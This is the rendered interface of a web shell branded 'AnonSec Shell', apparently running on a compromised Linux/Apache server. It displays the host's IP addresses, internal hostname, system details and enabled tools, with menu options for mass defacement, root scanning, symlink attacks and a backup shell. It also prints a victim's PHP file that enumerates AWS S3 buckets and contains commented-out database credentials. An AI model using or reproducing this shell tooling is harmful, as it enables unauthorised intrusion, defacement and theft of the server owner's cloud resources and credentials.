. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/config/tests3.php
<?php

/*$mysqli_connection = new MySQLi('localhost', 'root', 'root', 'ascii_2019');
if ($mysqli_connection->connect_error) {
   echo "Not connected, error: " . $mysqli_connection->connect_error;
}
else {
   echo "Connected.";
}
*/

$nomeFolder = "ripariamo/website";

$hostname = "http://localhost";


$www = $_SERVER[ 'DOCUMENT_ROOT'];
//$root = substr($www,0,strrpos($www,'/'))."/";
$root = $www."/".$nomeFolder."/";//substr(getcwd(),0,strrpos(getcwd(),'/'))."/"; 

ini_set("session.gc_maxlifetime", "14400");
ini_set("session.gc_probability", "1");
ini_set("session.gc_divisor", "100");
ini_set("session.save_path", $root."./sessions");
ini_set("error_reporting", '1');//"30711");
ini_set("magic_quotes_gpc", "Off");
ini_set("include_path", ".:".$root."config".":".$root."app".":".$root."app/dependencies".":".$root."app/dependencies/PEAR".":".$root."app/dependencies/zend/ZendGdata/library".":".$root."www".":".$root."www/API".":".$root);


echo "s3";

require 'aws/aws-autoloader.php';		

use Aws\S3\S3Client;

// Use the us-east-2 region and latest version of each client.
$awsConfig = [
    'profile' => 'default',
    'region' => 'eu-central-1',
    'version' => 'latest',
];

//RICODA CREDENZIALI il .aws nella cwd

// Create an SDK class used to share configuration across clients.
$sdk = new Aws\Sdk($awsConfig);

// Use an Aws\Sdk class to create the S3Client object.
$s3 = $sdk->createS3();
$result = $s3->listBuckets();

foreach ($result['Buckets'] as $bucket) {
    echo $bucket['Name'] . "<br>";
}

// Convert the result object to a PHP array
$array = $result->toArray();




?>


Anon7 - 2022
AnonSec Team